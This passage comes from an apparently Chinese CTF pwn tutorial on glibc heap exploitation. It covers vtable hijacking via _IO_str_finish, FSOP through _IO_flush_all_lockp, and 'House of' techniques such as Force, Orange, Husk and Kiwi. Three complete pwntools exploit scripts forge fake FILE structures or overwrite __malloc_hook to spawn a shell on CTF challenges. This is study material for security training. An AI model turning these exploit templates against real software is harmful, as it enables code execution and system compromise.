JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

不难看出,在该表中有我们所需的_IO_str_finish函数,且该表本身便是vtable表列表中的一个表,能很好地通过vtable表合法性检测,因此我们劫持stdout时便尝将fake vtable劫持到该表附近

需要注意的一点是我们需要修改_IO_2_1_stdout的flag的最后一位为0以通过_IO_str_finish函数中的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
* libio/strops.c
*/
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}
/*
* libio.h
*/
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */

64位下其会将fp + 0d8 + 0x10的位置作为函数指针进行调用

image.png

需要注意的是这种利用方式仅适用于glibc2.28以下的版本,自glibc2.28始该段代码被修改,无法再通过同种方式进行利用

自glibc2.28始,该函数不会调用额外的函数指针,而是会直接使用free(),代码如下:

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

类似地,对于_IO_str_overflow的利用自glibc2.28始同样失效,源码比较长就不在这里贴出了

参考:ctf-wiki: exploit in libc2.24

FSOP

FSOP即 File Stream Oriented Programme——文件流导向编程,即基于 glibc 中文件流相关的一种劫持手法,其核心思想便是通过劫持文件流的相关流程以达到控制程序执行流的目的,通常是 _IO_flush_all_lockp() 的相关流程

_IO_list_all 链表

在 glibc 中使用 _IO_FILE 结构描述一个文件, 进程中的 _IO_FILE 结构会通过其 _chain 成员彼此连接形成一个链表,在全局变量 _IO_list_all 中储存着指向该链表头节点的指针,通过这个值我们可以遍历所有的 FILE 结构

在 _IO_FILE 结构上其实还有一层套娃结构叫 _IO_FILE_plus ,其中新增一个 vtable 指针指向该文件流会用到的虚函数表

通常情况下进程创建时会自动打开三个文件,其链接顺序为:stderr->stdout->stdin,即在 _IO_list_all 中储存着的是指向 _IO_2_1_stderr_ 的指针

_IO_flush_all_lockp()

常见的 FSOP 手法主要是通过 _IO_flush_all_lockp() 进行利用,这个函数在以下情况会被调用:

  • 通过 libc 相关机制触发 abort
  • 通过 exit() 执行流程
    • 由 main 函数返回至 __libc_start_main() 后执行 exit()

该函数定义于libio/genops.c中,会刷新_IO_list_all链表中所有项的文件流 ,我们主要关注其中的如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int
_IO_flush_all_lockp (int do_lock)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...

中间的那一段宏一般为假,我们暂且先不管

那么其会检查如下两个条件:

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

按照程序执行流程,在这两个条件通过之后便会使用宏_IO_OVERFLOW(),其定义于libio/libioP.h中,如下:

1
2
3
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
...
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

由此可知其最终会调用vtable表中的__overflow函数,且第一个参数为指向FILE自身的指针

例题:ciscn_2019_n_7 - exit_hook hijact + one_gadget | FSOP

惯例的checksec,保 护 全 开(噔 噔 咚

image.png

拖入IDA进行分析,可知该程序有着分配、编辑、打印堆块的功能

但是我们仅能够分配一个堆块,且无法释放堆块

image.png

漏洞点在于创建/编辑堆块时输入作者姓名时存在溢出,可以覆写掉与其相邻的堆块指针,在接下来的编辑中我们便可以实现任意地址写

image.png

image.png

同时,输入666则可直接泄露libc地址

image.png

image.png

由于 glibc2.23 中未加入对 vtable 表的合法性检测,故我们可以考虑直接劫持 _IO_2_1_stderr_ 及其vtable表执行system("/bin/sh")以 get shell(stderr为FILE链表的头结点),其中由于 __overflow() 函数会将指向FILE的指针作为其第一个参数,故考虑将 “/bin/sh” 字符串构造于 fake file 的开头

构造 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
#context.log_level = 'DEBUG'
p = process('./ciscn_2019_n_7')#remote('node3.buuoj.cn', 26348)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')#ELF('./libc-2.23.so')
one_gadget = 0xf1147
p.recv()
p.sendline(b'666')
puts_addr = int((p.recvuntil(b'\n', drop = True)), 16)
libc_base = puts_addr - libc.sym['puts']
log.info('libc leak: ' + str(hex(libc_base)))
p.recvuntil(b"Your choice-> ")
p.sendline(b'1')
p.recvuntil(b"Input string Length: ")
p.sendline(str(0x100).encode())
p.recvuntil(b"Author name:")
p.send(b'arttnba3' + p64(libc_base + libc.sym['_IO_2_1_stderr_']))

fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0)# _IO_read_base
fake_file += p64(0)# _IO_write_base
fake_file += p64(libc_base + libc.sym['system'])# _IO_write_ptr
fake_file += p64(0)# _IO_write_end
fake_file += p64(0)# _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable

p.recvuntil(b"Your choice-> ")
p.sendline(b'2')
p.recvuntil(b"New Author name:")
p.send(b'arttnba3')
p.recvuntil(b"New contents:")
p.send(fake_file)
p.sendline('5')
p.interactive()

运行即可get shell

image.png

0x04.更加高级的攻击手法

下面的中文译名都是瞎取的233333

House of XX 系列是在堆利用中由一些基础的利用技巧组合而来的更为复杂利用手法

House of Botcake - 机饼の所

主要思想是通过对于垂悬指针的利用使得在 tcache 与 unsorted bin 中有着同一个 chunk

例题:

House of Einherjar - 英灵の屋

通过伪造 fake prev_size 以在 chunk 合并的过程中达成 overlapping

例题:2016 Seccon tinypad

House of Force - 力の金阁(not available from glibc 2.29)

House of Force 主要基于的是对于 top chunk 的利用,若是我们能够通过诸如堆溢出等手段将 top chunk 的 size 改成一个较大值(如0xfffffffffffffff1),且程序不限制我们所分配的 chunk 的大小,则我们可以通过分配任意大小的 chunk 以恰当的偏移切割 top chunk 以达到任意地址写的效果

自 glibc2.29 起新增了对 top chunk size 的合法性检查,house of force 就此失效

时代的眼泪了(x

例题:gyctf_2020_force - House of Force

惯例的 checksc ,保护全开

image.png

拖入 IDA 进行分析

只有一个分配堆块的功能,不限制大小,会给出堆块地址,最多写入 0x50 字节,若是分配小堆块则毫无疑问可以溢出

image.png

没有 free 功能,也没法打印,唯一的输出点是输出堆块的地址,由于其不限制 size 的大小,不难想到若是我们分配一个特别大的 chunk ,sys_malloc 便会通过 MMAP 系统调用分配一块空间,刚好挨着 libc 映射的空间,由此我们便可以获得 libc 的地址

有溢出,libc 2.23 ,可以考虑通过 House of Force 劫持 top chunk 进行任意地址写改 __malloc_hook 为 one_gadget,以及别忘了 realloc 调栈

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#context.log_level = 'debug'
p_name = './gyctf_2020_force'
p = remote('node3.buuoj.cn',25534)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')

def new(size:int, content):
p.recvuntil(b"2:puts")
p.sendline(b"1")
p.recvuntil(b"size")
p.sendline(str(size).encode())
p.recvuntil(b"bin addr ")
chunk_addr = int(p.recvuntil(b'\n', drop = True), 16)
p.recvuntil(b"content")
p.send(content)
return chunk_addr

def exp():
libc_leak = new(0x2000000, b'arttnba3')
libc_base = libc_leak - 0x10 + 0x2000000 + 0x1000 # chunk header
log.success('libc base: ' + hex(libc_base))

heap_leak = new(0x10, b'arttnba3' * 2 + p64(0) + p64(0xfffffffffffffff1))
top_chunk = heap_leak + 0x10
log.success('top chunk: ' + hex(top_chunk))

new(libc_base + libc.sym['__malloc_hook'] - top_chunk - 0x30, b'arttnba3')
new(0x10, b'arttnba3' + p64(libc_base + 0x4526a) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10))
p.recvuntil(b"2:puts")
p.sendline(b"1")
p.recvuntil(b"size")
p.sendline(str(0x10).encode())
p.interactive()

if __name__ == '__main__':
exp()

运行即可 get shell

image.png

House of Husk - 壳层の仓

主要是利用 printf 系函数的调用链

大概流程:

  1. 泄露 libc 地址
  2. unsortedbin attack 把 global_max_fast 变大
  3. 用相对覆写把 fake arginfo table 地址写到 __printf_arginfo_table
  4. 用相对覆写把 __printf_function_table 写为 NULL
  5. 调用带格式化字符串的 printf

例题:CCISC2020-华东北赛区-Pwn5

House of Kiwi - 飞鸟の笼异果の篮

Kiwi 是这只🐦🦄?(x

img.png

nope,是 🥝

image.png

House of 🥝 为对 _IO_file_jumps中的sync指针的🥝的劫持,算是比较偏门的一个🥝,在 exit() 函数被换为 _exit() 或是其他无法调用到 _IO_cleanup() 时的一种特殊的 FSOP 手段

主要🥝思路是通过触发 __malloc_assert() 调用 _IO_file_jumps 中的 sync 🥝指针

例题: NepCTF2021 NULL_FxCK

House of Lore - 传说の屋

small bin attack,需要我们能够控制 small bin 最后一个 chunk 的 bk 指针

例题:

House of Orange - 新橙の室

House of Orange 是一种较为特殊的🍊利用方式,主要针对于没有 free 的特殊场景,在无法使用 free() 释放堆块的特殊情况下,我们需要通过对漏洞的利用以完成 free 的效果

通常情况下,🍊选择劫持 top chunk:当 top chunk 的 size 不足以满足需求时,原有的 top chunk 会被释放,放入 unsorted bin 中,随后 ptmalloc2 通过 brk 系统调用扩展堆区,此时我们便获得了一个 unsorted bin chunk

需要注意的是我们所请求的 size 不能够大于 mmp_.mmap_threshold (通常为 128k),否则 ptmalloc2 将会直接采用 mmap 系统调用分配内存

我们还需要绕过如下检测:

  • Top chunk 需要对内存页(通常是0x1000)对齐
  • size 需要大于 MINSIZE 而小于 request + MINSIZE
  • PREV_INUSE 位需为 1

接下来便是 House of Orange 这个🍊中最为精髓的🍊:通过 malloc 触发错误这条路径来以 FSOP 的方式 get shell

通过堆溢出或是其他方式将 unsorted bin 的 bk 指针改为 _IO_list_all - 0x10的地址,size 改为 0x61,并在其中伪造我们的 fake _IO_file_plus 结构体

随后进行一个大于现有 unsorted bin 链表尾结点的请求(假设 unsorted bin 中只有一个 chunk),此时该 chunk 便会被放入 small bin 中

接下来会向 该 chunk 的 bk 成员—— _IO_list_all - 0x10 的 fd 指针——即 _IO_list_all 上写入 main_arena + 0x58 的地址,并判断该 “chunk” 是否符合要求——这个时候便会报错,通过 malloc_printerr 最终走到 abort

abort 后会调用 _IO_flush_all_lockp() 函数,先对_IO_list_all—— main_arena + 0x58 进行判断——不符合要求,此时便会从其 _chain 指针取出下一个_IO_file_plus结构,而该指针位于 _IO_file_plus结构偏移 0x68 的地方——即从 main_arena + 0x58 + 0x68 这个位置取出下一个 _IO_file_plus 结构体,刚好是 small bin 中 size 为 0x60 的地方,由此完成我们的 FSOP

例题:houseoforange_hitcon_2016 - House of Orange

想都不用想肯定事保护全开

image.png

拖入 IDA 进行分析,大概有着分配、打印、编辑堆块的功能,没有释放的功能

只能分配三次

image.png

漏洞点在于编辑堆块的时候验证不严密,存在堆溢出

image.png

由于没有 free() 函数,考虑通过堆溢出修改 top chunk 的 size 后再行分配触发 brk 系统调用扩展堆区将原有 top chunk 送入 unsorted bin 后再分配回来,通过 bk 指针泄露 libc 基址

我们都知道,在分配时若是 small bin 和 large bin 都是空的时候,ptmalloc2 会将 unsorted bin 中所有 chunk 放入 对应 bin 中,因此我们可以通过分配 large bin 以由其 fd_nextsize 指针泄露堆基址

随后在 unsorted bin 中伪造 _IO_file_plus 结构体,通过 House of Orange 的手法进行 FSOP 以 get shell

比较坑的一个点大概是本地和远程偏移好像有些小不一样……?后面懒得去算偏移了直接大面积撞就完事了

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
#context.log_level = 'debug'
p_name = './houseoforange_hitcon_2016'
p = remote('node3.buuoj.cn', 27323)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def cmd(command:int):
p.recvuntil(b"Your choice : ")
p.sendline(str(command).encode())

def new(size:int, content, price:int, color:int):
cmd(1)
p.recvuntil(b"Length of name :")
p.sendline(str(size).encode())
p.recvuntil(b"Name :")
p.send(content)
p.recvuntil(b"Price of Orange:")
p.sendline(str(price).encode())
p.recvuntil(b"Color of Orange:")
p.sendline(str(color).encode())

def dump():
cmd(2)

def edit(size:int, content, price:int, color:int):
cmd(3)
p.recvuntil(b"Length of name :")
p.sendline(str(size).encode())
p.recvuntil(b"Name:")
p.send(content)
p.recvuntil(b"Price of Orange: ")
p.sendline(str(price).encode())
p.recvuntil(b"Color of Orange: ")
p.sendline(str(color).encode())

def exp():
new(0x10, b'arttnba3', 114514, 0xddaa)
edit(0x1000, b'arttnba3' * 2 + p64(0) + p64(0x21) + b'arttnba3' * 2 + p64(0) + p64(0xfa1), 114514, 0xddaa)
new(0x1000, b'arttnba3', 114514, 0xddaa)
new(0x400, b'arttnba3', 114514, 0xddaa)
dump()
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x668
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base leak: ' + hex(libc_base))
edit(0x10, b'arttnba3' * 2, 114514, 0xddaa)
dump()
p.recvuntil(b'arttnba3' * 2)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak & 0xfffffffff000
log.success('heap base leak: ' + hex(heap_base))

fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0x61) # _IO_read_ptr, chunk size, got it into proper small bin
fake_file += p64(0) # _IO_read_end
fake_file += p64(libc_base + libc.sym['_IO_list_all'] - 0x10)# _IO_read_base
fake_file += p64(0)# _IO_write_base
fake_file += p64(libc_base + libc.sym['system'])# _IO_write_ptr
fake_file += p64(0)# _IO_write_end
fake_file += p64(0)# _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(heap_base + 0x600) # fake vtable`
fake_file += 20 * p64(libc_base + libc.sym['system'])

edit(0x1000, b'a' * 0x400 + p64(0) + p64(0x21) + b'arttnba3' * 2 + fake_file, 114514, 0xddaa)
#gdb.attach(p)
cmd(1)

p.interactive()

if __name__ == '__main__':
exp()

运行即可 get shell

image.png

House of Rabbit - 兔子の窝

在 malloc 时对于 fastbin 中的 chunk 存在着 size 检查,但是在 malloc_consolidate() 函数过程中并不会对 fastbin chunk 的 size 进行检查,由此构造 overlapping

例题:HITB-GSEC-XCTF 2018 mutepig

House of Roman - 罗马の家

fastbin attack + unsorted bin attack

例题: npuctf_2020_bad_guy

House of Spirit - 精神の院

在不可控区域伪造 fake chunk 以达到可控

例题:LCTF2016_PWN200

House of Storm - 风暴の域

large bin attack + unsorted bin attack

例题:0ctf2018_ heapstorm2